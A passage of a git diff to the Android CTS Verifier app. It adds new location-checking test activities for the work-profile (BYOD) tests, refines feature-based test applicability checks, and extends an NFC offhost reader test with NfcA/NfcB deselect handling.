                     };
         } else {
             uiChanges =
                     () -> {
-                        mLogView.setText("FAILED second test setup.");
-                        mGoButton.setEnabled(false);
+                        getLogView().setText("FAILED second test setup.");
+                        getGoButton().setEnabled(false);
                     };
         }
 
@@ -313,7 +294,7 @@
     private void logStatus(String status) {
         runOnUiThread(
                 () -> {
-                    mLogView.setText(status);
+                    getLogView().setText(status);
                 });
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationCheckerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationCheckerActivity.java
new file mode 100644
index 0000000..a3def8e03
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationCheckerActivity.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.location.Location;
+import android.location.LocationManager;
+import android.location.LocationRequest;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.util.Log;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.core.app.ActivityCompat;
+import androidx.core.content.ContextCompat;
+
+import com.android.cts.verifier.R;
+
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * Activity that checks whether it can obtain location. Asks for permission in case it is missing.
+ * Result is reported to whoever invoked it with startActivityForResult.
+ */
+public class LocationCheckerActivity extends Activity {
+    private static final String TAG = LocationCheckerActivity.class.getSimpleName();
+
+    public static final String ACTION_CHECK_LOCATION_PRIMARY =
+            "com.android.cts.verifier.managedprovisioning.CHECK_LOCATION_ACCESS_PRIMARY";
+    public static final String ACTION_CHECK_LOCATION_WORK =
+            "com.android.cts.verifier.managedprovisioning.CHECK_LOCATION_ACCESS_WORK";
+    public static final String WORK_ACTIVITY_ALIAS =
+            "com.android.cts.verifier.managedprovisioning.WorkLocationCheckerActivityAlias";
+
+    public static final String EXTRA_ERROR_ID = "extra-error-id";
+    public static final int LOCATION_PERMISSION_REQUEST = 125;
+    private static final int REQUEST_MAX_DURATION_MILLIS = 15000;
+
+    private List<String> mProviders;
+    private LocationManager mLocationManager;
+    private TextView mStatusText;
+    private final CancellationSignal mCancellationSignal = new CancellationSignal();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.location_checker);
+
+        mLocationManager = getSystemService(LocationManager.class);
+        mStatusText = findViewById(R.id.status_text);
+
+        if (hasLocationPermission()) {
+            requestCurrentLocation();
+        } else {
+            requestLocationPermission();
+        }
+    }
+
+    private void requestCurrentLocation() {
+        synchronized (this) {
+            mProviders = mLocationManager.getAllProviders().stream()
+                    .filter(mLocationManager::isProviderEnabled)
+                    .collect(Collectors.toList());
+            if (mProviders.isEmpty()) {
+                finish(R.string.provisioning_byod_location_no_provider);
+                return;
+            }
+            // Callback will be invoked with null if duration exceeded.
+            LocationRequest request = new LocationRequest.Builder(0)
+                    .setDurationMillis(REQUEST_MAX_DURATION_MILLIS).build();
+            // Request location from all available providers.
+            for (String provider: mProviders) {
+                mLocationManager.getCurrentLocation(provider, request, mCancellationSignal,
+                        getMainExecutor(), l -> onLocation(provider, l));
+            }
+            updateStatusLocked();
+        }
+    }
+
+    private void updateStatusLocked() {
+        String providers = String.join(", ", mProviders);
+        mStatusText.setText(getString(R.string.provisioning_byod_location_trying, providers));
+    }
+
+    private boolean hasLocationPermission() {
+        return ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
+                == PackageManager.PERMISSION_GRANTED;
+    }
+
+    private void requestLocationPermission() {
+        ActivityCompat.requestPermissions(this,
+                new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
+                LOCATION_PERMISSION_REQUEST);
+    }
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
+            @NonNull int[] grants) {
+        // Test that the right permission was granted.
+        if (requestCode == LOCATION_PERMISSION_REQUEST) {
+            if (!permissions[0].equals(Manifest.permission.ACCESS_FINE_LOCATION)
+                    || grants[0] != PackageManager.PERMISSION_GRANTED
+                    || !hasLocationPermission()) {
+                Log.e(TAG, "The test needs location permission.");
+                finish(R.string.provisioning_byod_location_mode_enable_missing_permission);
+                return;
+            }
+            requestCurrentLocation();
+        }
+    }
+
+    private void onLocation(String provider, Location location) {
+        if (mCancellationSignal.isCanceled()) {
+            return;
+        } else if (location != null) {
+            mCancellationSignal.cancel();
+            finish(-1 /* no error */);
+        }
+
+        // location == null, provider wasn't able to get location, see if there are more providers
+        synchronized (this) {
+            mProviders.remove(provider);
+            if (mProviders.isEmpty()) {
+                finish(R.string.provisioning_byod_location_failed);
+            } else {
+                updateStatusLocked();
+            }
+        }
+    }
+
+    void finish(int messageId) {
+        Intent result = new Intent();
+        result.putExtra(EXTRA_ERROR_ID, messageId);
+        setResult(Activity.RESULT_OK, result);
+        finish();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java
deleted file mode 100644
index 2ad5f99..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.managedprovisioning;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.os.Process;
-import android.provider.Settings;
-import android.util.Log;
-import android.widget.Toast;
-
-import com.android.cts.verifier.R;
-
-public class LocationListenerActivity extends Activity implements Handler.Callback {
-    // Primary -> managed intent: request to goto the location settings page and listen to updates.
-    public static final String ACTION_SET_LOCATION_AND_CHECK_UPDATES =
-            "com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK";
-    private static final int REQUEST_LOCATION_UPDATE = 1;
-
-    private static final int MSG_TIMEOUT_ID = 1;
-
-    private static final long MSG_TIMEOUT_MILLISEC = 15000; // 15 seconds.
-
-    private LocationManager mLocationManager;
-    private Handler mHandler;
-    private boolean mIsLocationUpdated;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        mLocationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
-        mHandler = new Handler(this);
-        mIsLocationUpdated = false;
-        Intent intent = getIntent();
-        if (intent != null) {
-            String action = intent.getAction();
-            if (ACTION_SET_LOCATION_AND_CHECK_UPDATES.equals(action)) {
-                Log.d(getLogTag(), "ACTION_SET_LOCATION_AND_CHECK_UPDATES received in uid "
-                        + Process.myUid());
-                handleLocationAction();
-            }
-        }
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        switch (requestCode) {
-            case REQUEST_LOCATION_UPDATE: {
-                Log.d(getLogTag(), "Exit location settings:OK");
-                mLocationManager.removeUpdates(mLocationListener);
-                mHandler.removeMessages(MSG_TIMEOUT_ID);
-                finish();
-                break;
-            }
-            default: {
-                Log.wtf(getLogTag(), "Unknown requestCode " + requestCode + "; data = " + data);
-                break;
-            }
-        }
-    }
-
-    protected void handleLocationAction() {
-        Intent locationSettingsIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
-        if (locationSettingsIntent.resolveActivity(getPackageManager()) != null) {
-            startActivityForResult(locationSettingsIntent, REQUEST_LOCATION_UPDATE);
-            scheduleTimeout();
-        } else {
-            Log.e(getLogTag(), "Settings.ACTION_LOCATION_SOURCE_SETTINGS could not be resolved");
-            finish();
-        }
-        mLocationManager.requestLocationUpdates(
-                LocationManager.GPS_PROVIDER, 0, 0, mLocationListener);
-    }
-
-    private final LocationListener mLocationListener = new LocationListener() {
-        @Override
-        public void onLocationChanged(Location location) {
-            synchronized (LocationListenerActivity.this) {
-                if (mIsLocationUpdated) return;
-                showToast(R.string.provisioning_byod_location_mode_enable_toast_location_change);
-                mIsLocationUpdated = true;
-            }
-        }
-
-        @Override
-        public void onProviderDisabled(String provider) {
-        }
-
-        @Override
-        public void onProviderEnabled(String provider) {
-        }
-
-        @Override
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-        }
-    };
-
-    private void scheduleTimeout() {
-        mHandler.removeMessages(MSG_TIMEOUT_ID);
-        mHandler.sendMessageDelayed(mHandler.obtainMessage(MSG_TIMEOUT_ID), MSG_TIMEOUT_MILLISEC);
-    }
-
-    @Override
-    public boolean handleMessage(Message msg) {
-        if (msg.what == MSG_TIMEOUT_ID) {
-            synchronized (this) {
-                if (mIsLocationUpdated) return true;
-                showToast(R.string.provisioning_byod_location_mode_time_out_toast);
-            }
-        }
-        return true;
-    }
-
-    protected String getLogTag() {
-        return "LocationListenerActivity";
-    }
-
-    protected void showToast(int messageId) {
-        String message = getString(messageId);
-        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationTestActivity.java
new file mode 100644
index 0000000..59fea0d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationTestActivity.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Tests whether location is available in primary and work profiles under various settings.
+ */
+public class LocationTestActivity extends ByodTestActivityWithPrepare {
+    private static final String TAG = LocationTestActivity.class.getSimpleName();
+
+    public static final String ACTION_TEST_LOCATION_ENABLED =
+            "com.android.cts.verifier.managedprovisioning.TEST_LOCATION_ENABLED";
+    public static final String ACTION_TEST_LOCATION_DISABLED =
+            "com.android.cts.verifier.managedprovisioning.TEST_LOCATION_DISABLED";
+    public static final String ACTION_TEST_WORK_LOCATION_DISABLED =
+            "com.android.cts.verifier.managedprovisioning.TEST_WORK_LOCATION_DISABLED";
+    public static final String ACTION_TEST_WORK_LOCATION_DISABLED_PRIMARY =
+            "com.android.cts.verifier.managedprovisioning.TEST_WORK_LOCATION_DISABLED_PRIMARY";
+
+    public static final String TEST_ID_LOCATION_ENABLED = "BYOD_LocationModeEnableTest";
+    public static final String TEST_ID_LOCATION_DISABLED = "BYOD_LocationModeDisableMainTest";
+    public static final String TEST_ID_WORK_LOCATION_DISABLED = "BYOD_LocationModeDisableWorkTest";
+    public static final String TEST_ID_WORK_LOCATION_DISABLED_PRIMARY =
+            "BYOD_PrimaryLocationWhenWorkDisabled";
+
+    private static final int REQUEST_LOCATION_CHECK = 123;
+    private static final int REQUEST_LOCATION_SETTING = 124;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getInstructionsView().setText(getInstructions());
+        getGoButton().setOnClickListener(v -> runTest());
+        getPrepareButton().setOnClickListener(v -> runPrepare());
+    }
+
+    @Override
+    public String getTestId() {
+        switch (getIntent().getAction()) {
+            case ACTION_TEST_LOCATION_ENABLED:
+                return TEST_ID_LOCATION_ENABLED;
+            case ACTION_TEST_LOCATION_DISABLED:
+                return TEST_ID_LOCATION_DISABLED;
+            case ACTION_TEST_WORK_LOCATION_DISABLED:
+                return TEST_ID_WORK_LOCATION_DISABLED;
+            case ACTION_TEST_WORK_LOCATION_DISABLED_PRIMARY:
+                return TEST_ID_WORK_LOCATION_DISABLED_PRIMARY;
+            default:
+                throw new IllegalArgumentException("unknown test specified");
+        }
+    }
+
+    private void runPrepare() {
+        Intent locationSettingsIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
+        if (locationSettingsIntent.resolveActivity(getPackageManager()) != null) {
+            startActivityForResult(locationSettingsIntent, REQUEST_LOCATION_SETTING);
+        } else {
+            Log.e(TAG, "Settings.ACTION_LOCATION_SOURCE_SETTINGS could not be resolved");
+        }
+    }
+
+    private void runTest() {
+        Intent intent = new Intent(getCheckerIntentAction());
+        startActivityForResult(intent, LocationTestActivity.REQUEST_LOCATION_CHECK);
+    }
+
+    private void showToast(String message) {
+        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
+    }
+
+    private int getInstructions() {
+        switch (getIntent().getAction()) {
+            case ACTION_TEST_LOCATION_ENABLED:
+                return R.string.provisioning_byod_location_mode_enable_instruction;
+            case ACTION_TEST_LOCATION_DISABLED:
+                return R.string.provisioning_byod_location_mode_disable_instruction;
+            case ACTION_TEST_WORK_LOCATION_DISABLED:
+                return R.string.provisioning_byod_work_location_mode_disable_instruction;
+            case ACTION_TEST_WORK_LOCATION_DISABLED_PRIMARY:
+                return R.string.provisioning_byod_primary_location_when_work_disabled_instruction;
+            default:
+                throw new IllegalArgumentException("unknown test specified");
+        }
+    }
+
+    private String getCheckerIntentAction() {
+        switch (getIntent().getAction()) {
+            case ACTION_TEST_LOCATION_ENABLED:
+            case ACTION_TEST_LOCATION_DISABLED:
+            case ACTION_TEST_WORK_LOCATION_DISABLED:
+                return LocationCheckerActivity.ACTION_CHECK_LOCATION_WORK;
+            case ACTION_TEST_WORK_LOCATION_DISABLED_PRIMARY:
+                return LocationCheckerActivity.ACTION_CHECK_LOCATION_PRIMARY;
+            default:
+                throw new IllegalArgumentException("unknown test specified");
+        }
+    }
+
+    private boolean locationExpected() {
+        switch (getIntent().getAction()) {
+            case ACTION_TEST_LOCATION_ENABLED:
+            case ACTION_TEST_WORK_LOCATION_DISABLED_PRIMARY:
+                return true;
+            case ACTION_TEST_LOCATION_DISABLED:
+            case ACTION_TEST_WORK_LOCATION_DISABLED:
+                return false;
+            default:
+                throw new IllegalArgumentException("unknown test specified");
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        if (requestCode == REQUEST_LOCATION_CHECK && resultCode == Activity.RESULT_OK) {
+            int errorId = data.getIntExtra(LocationCheckerActivity.EXTRA_ERROR_ID, -1);
+
+            String message;
+            if (errorId != -1) {
+                message = getString(errorId);
+            } else {
+                message = getString(R.string.provisioning_byod_location_obtained);
+            }
+
+            boolean locationObtained = errorId == -1;
+            if (locationObtained == locationExpected()) {
+                message = getString(R.string.provisioning_byod_pass_message, message);
+                getPassButton().setEnabled(true);
+            } else {
+                message = getString(R.string.provisioning_byod_fail_message, message);
+            }
+            getLogView().setText(message);
+        } else if (requestCode == REQUEST_LOCATION_SETTING) {
+            getGoButton().setEnabled(true);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index 9a6d1f1..c5257ba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -185,10 +185,16 @@
         switch (test) {
             case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_INPUT_METHOD:
                 return pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS);
+            // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
             case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_ACCESSIBILITY_SERVICE:
-                return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+                return (pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
+                    && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
+            // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
+            case PolicyTransparencyTestActivity.TEST_CHECK_KEYGURAD_UNREDACTED_NOTIFICATION:
             case PolicyTransparencyTestActivity.TEST_CHECK_LOCK_SCREEN_INFO:
-                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+            case PolicyTransparencyTestActivity.TEST_CHECK_MAXIMUM_TIME_TO_LOCK:
+                return (pm.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)
+                    && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
             default:
                 return true;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
index ef2d798..02eadb3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
@@ -16,15 +16,12 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.hardware.fingerprint.FingerprintManager;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.util.Log;
@@ -83,8 +80,6 @@
                 }
             }
         });
-        setTestResult(mTurnOffWorkTest, TestResult.TEST_RESULT_NOT_EXECUTED);
-        setTestResult(mTurnOnWorkTest, TestResult.TEST_RESULT_NOT_EXECUTED);
         IntentFilter filter = new IntentFilter();
         filter.addAction(Intent.ACTION_MANAGED_PROFILE_AVAILABLE);
         filter.addAction(Intent.ACTION_MANAGED_PROFILE_UNAVAILABLE);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index ac54bac..6a91c06 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -182,6 +182,8 @@
                     UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT,
                     UserManager.DISALLOW_CONFIG_BRIGHTNESS);
 
+    private static final String ACTION_CREDENTIALS_INSTALL = "com.android.credentials.INSTALL";
+
     public static String getRestrictionLabel(Context context, String restriction) {
         final UserRestrictionItem item = findRestrictionItem(restriction);
         return context.getString(item.label);
@@ -244,6 +246,12 @@
                 return UserManager.supportsMultipleUsers();
             case UserManager.DISALLOW_ADJUST_VOLUME:
                 return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+            case UserManager.DISALLOW_AIRPLANE_MODE:
+                return (!pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                    && hasSettingsActivity(context, Settings.ACTION_AIRPLANE_MODE_SETTINGS));
+            case UserManager.DISALLOW_CONFIG_BRIGHTNESS:
+                return (hasSettingsActivity(context, Settings.ACTION_DISPLAY_SETTINGS)
+                    && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
             case UserManager.DISALLOW_CONFIG_CELL_BROADCASTS:
                 final TelephonyManager tm =
                     context.getSystemService(TelephonyManager.class);
@@ -284,6 +292,11 @@
             case UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES:
                 return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
             case UserManager.DISALLOW_CONFIG_CREDENTIALS:
+                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                        && hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL);
+            case UserManager.DISALLOW_CONFIG_LOCATION:
+            case UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT:
+                // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
                 return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
             default:
                 return true;
@@ -316,6 +329,22 @@
         return packageName;
     }
 
+    /**
+     * Utility to check if the Settings app handles an intent action
+     */
+    private static boolean hasSettingsActivity(Context context, String intentAction) {
+        PackageManager packageManager = context.getPackageManager();
+        ResolveInfo resolveInfo = packageManager.resolveActivity(
+                new Intent(intentAction),
+                PackageManager.MATCH_SYSTEM_ONLY);
+
+        if (resolveInfo == null) {
+            return false;
+        }
+
+        return !TextUtils.isEmpty(resolveInfo.activityInfo.applicationInfo.packageName);
+    }
+
     private static class UserRestrictionItem {
         final int label;
         final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
index 9beaa06..7df5b4f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
@@ -16,14 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
 import android.app.AlertDialog;
 import android.content.Intent;
 import android.content.SharedPreferences;
 import android.nfc.NfcAdapter;
 import android.nfc.NfcAdapter.ReaderCallback;
-import android.nfc.tech.IsoDep;
 import android.nfc.Tag;
+import android.nfc.tech.IsoDep;
+import android.nfc.tech.NfcA;
+import android.nfc.tech.NfcB;
 import android.os.Bundle;
 import android.os.Parcelable;
 import android.util.Log;
@@ -36,13 +37,12 @@
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
+import com.android.cts.verifier.nfc.hce.HceUtils;
 
 import java.io.IOException;
 import java.util.Arrays;
 
-import com.android.cts.verifier.nfc.hce.HceUtils;
-import com.android.cts.verifier.nfc.hce.CommandApdu;
-
 public class SimpleOffhostReaderActivity extends PassFailButtons.Activity implements ReaderCallback,
         OnItemSelectedListener {
     public static final String PREFS_NAME = "OffhostTypePrefs";
@@ -58,6 +58,7 @@
     String[] mResponses;
     String mLabel;
     boolean mDeselect;
+    boolean mIsTypeB;
 
     TextView mTextView;
     Spinner mSpinner;
@@ -87,8 +88,8 @@
         spinner.setOnItemSelectedListener(this);
 
         mPrefs = getSharedPreferences(PREFS_NAME, 0);
-        boolean isTypeB = mPrefs.getBoolean("typeB", false);
-        if (isTypeB) {
+        mIsTypeB = mPrefs.getBoolean("typeB", false);
+        if (mIsTypeB) {
             spinner.setSelection(1);
         }
     }
@@ -114,48 +115,110 @@
     @Override
     public void onTagDiscovered(Tag tag) {
         final StringBuilder sb = new StringBuilder();
-        IsoDep isoDep = IsoDep.get(tag);
-        if (isoDep == null) {
-            // TODO dialog box
-            return;
-        }
+        long startTime = 0;
+        boolean success = true;
+        int count = 0;
 
         try {
-            isoDep.connect();
-            isoDep.setTimeout(5000);
-            int count = 0;
-            boolean success = true;
-            long startTime = System.currentTimeMillis();
-            for (CommandApdu apdu: mApdus) {
-                sb.append("Request APDU:\n");
-                sb.append(apdu.getApdu() + "\n\n");
-                long apduStartTime = System.currentTimeMillis();
-                byte[] response = isoDep.transceive(HceUtils.hexStringToBytes(apdu.getApdu()));
-                long apduEndTime = System.currentTimeMillis();
-                sb.append("Response APDU (in " + Long.toString(apduEndTime - apduStartTime) +
-                        " ms):\n");
-                sb.append(HceUtils.getHexBytes(null, response));
-
-                sb.append("\n\n\n");
-                boolean wildCard = "*".equals(mResponses[count]);
-                byte[] expectedResponse = HceUtils.hexStringToBytes(mResponses[count]);
-                Log.d(TAG, HceUtils.getHexBytes("APDU response: ", response));
-
-                if (response.length > expectedResponse.length) {
-                    response = Arrays.copyOfRange(response,
-                            response.length - expectedResponse.length, response.length);
-                }
-
-                if (!wildCard && !Arrays.equals(response, expectedResponse)) {
-                    Log.d(TAG, "Unexpected APDU response: " + HceUtils.getHexBytes("", response));
-                    success = false;
-                    break;
-                }
-                count++;
-            }
-
             if (mDeselect) {
+                mIsTypeB = mPrefs.getBoolean("typeB", false);
+                // Use FrameRF for deselect test case
+                if (mIsTypeB) {
+                    NfcB nfcb = NfcB.get(tag);
+                    if (nfcb == null) {
+                        // TODO dialog box
+                        return;
+                    }
+                    byte[] tagId = tag.getId();
+                    String tagIdString = HceUtils.getHexBytes("", tagId);
+                    nfcb.connect();
+                    startTime = System.currentTimeMillis();
+
+                    //ATTRIB
+                    int tagIdLen = tagId.length;
+                    if (tagIdLen != 4) {
+                        // NFCID0 should be 4 bytes
+                        return;
+                    }
+                    byte[] attrib = new byte[tagIdLen + 5];
+                    attrib[0] = (byte) 0x1d;
+                    for (int i = 0; i < tagIdLen; i++) {
+                        attrib[1 + i] = tagId[i];
+                    }
+                    attrib[tagIdLen + 1] = 0x00;
+                    attrib[tagIdLen + 2] = 0x08;
+                    attrib[tagIdLen + 3] = 0x01;
+                    attrib[tagIdLen + 4] = 0x00;
+                    nfcb.transceive(attrib);
+
+                    count = 0;
+                    for (CommandApdu apdu: mApdus) {
+                        sb.append("Request APDU:\n");
+                        sb.append(apdu.getApdu() + "\n\n");
+                        long apduStartTime = System.currentTimeMillis();
+                        byte[] response =
+                                nfcb.transceive(HceUtils.hexStringToBytes(apdu.getApdu()));
+                        long apduEndTime = System.currentTimeMillis();
+                        if (!responseCheck(sb, response, count, apduStartTime, apduEndTime)) {
+                            success = false;
+                            break;
+                        }
+                        count++;
+                    }
+                    nfcb.transceive(HceUtils.hexStringToBytes("C2"));
+                } else {
+                    NfcA nfca = NfcA.get(tag);
+                    if (nfca == null) {
+                        // TODO dialog box
+                        return;
+                    }
+                    nfca.connect();
+                    nfca.setTimeout(5000);
+                    startTime = System.currentTimeMillis();
+                    // RATS
+                    nfca.transceive(HceUtils.hexStringToBytes("E080"));
+
+                    count = 0;
+                    for (CommandApdu apdu: mApdus) {
+                        sb.append("Request APDU:\n");
+                        sb.append(apdu.getApdu() + "\n\n");
+                        long apduStartTime = System.currentTimeMillis();
+                        byte[] response =
+                                nfca.transceive(HceUtils.hexStringToBytes(apdu.getApdu()));
+                        long apduEndTime = System.currentTimeMillis();
+                        if (!responseCheck(sb, response, count, apduStartTime, apduEndTime)) {
+                            success = false;
+                            break;
+                        }
+                        count++;
+                    }
+                    // S-block DESELECT
+                    nfca.transceive(HceUtils.hexStringToBytes("C2"));
+                }
                 mAdapter.disableReaderMode(this);
+            } else {
+                IsoDep isoDep = IsoDep.get(tag);
+                if (isoDep == null) {
+                    // TODO dialog box
+                    return;
+                }
+                isoDep.connect();
+                isoDep.setTimeout(5000);
+                startTime = System.currentTimeMillis();
+
+                count = 0;
+                for (CommandApdu apdu: mApdus) {
+                    sb.append("Request APDU:\n");
+                    sb.append(apdu.getApdu() + "\n\n");
+                    long apduStartTime = System.currentTimeMillis();
+                    byte[] response = isoDep.transceive(HceUtils.hexStringToBytes(apdu.getApdu()));
+                    long apduEndTime = System.currentTimeMillis();
+                    if (!responseCheck(sb, response, count, apduStartTime, apduEndTime)) {
+                        success = false;
+                        break;
+                    }
+                    count++;
+                }
             }
 
             if (success) {
@@ -183,7 +246,6 @@
                     }
                 });
             }
-
         } catch (IOException e) {
             sb.insert(0, "Error while reading: (did you keep the devices in range?)\nPlease try again\n.");
             runOnUiThread(new Runnable() {
@@ -196,6 +258,29 @@
         }
     }
 
+    private boolean responseCheck(StringBuilder sb, byte[] response, int count,
+            long apduStartTime, long apduEndTime) {
+        sb.append("Response APDU (in " + Long.toString(apduEndTime - apduStartTime)
+                + " ms):\n");
+        sb.append(HceUtils.getHexBytes(null, response));
+        sb.append("\n\n\n");
+        boolean wildCard = "*".equals(mResponses[count]);
+        byte[] expectedResponse = HceUtils.hexStringToBytes(mResponses[count]);
+        Log.d(TAG, HceUtils.getHexBytes("APDU response: ", response));
+
+        if (response.length > expectedResponse.length) {
+            response = Arrays.copyOfRange(response,
+                    response.length - expectedResponse.length, response.length);
+        }
+
+        if (!wildCard && !Arrays.equals(response, expectedResponse)) {
+            Log.d(TAG, "Unexpected APDU response: "
+                    + HceUtils.getHexBytes("", response));
+            return false;
+        }
+        return true;
+    }
+
     @Override
     public void onItemSelected(AdapterView<?> parent, View view, int position,
             long id) {
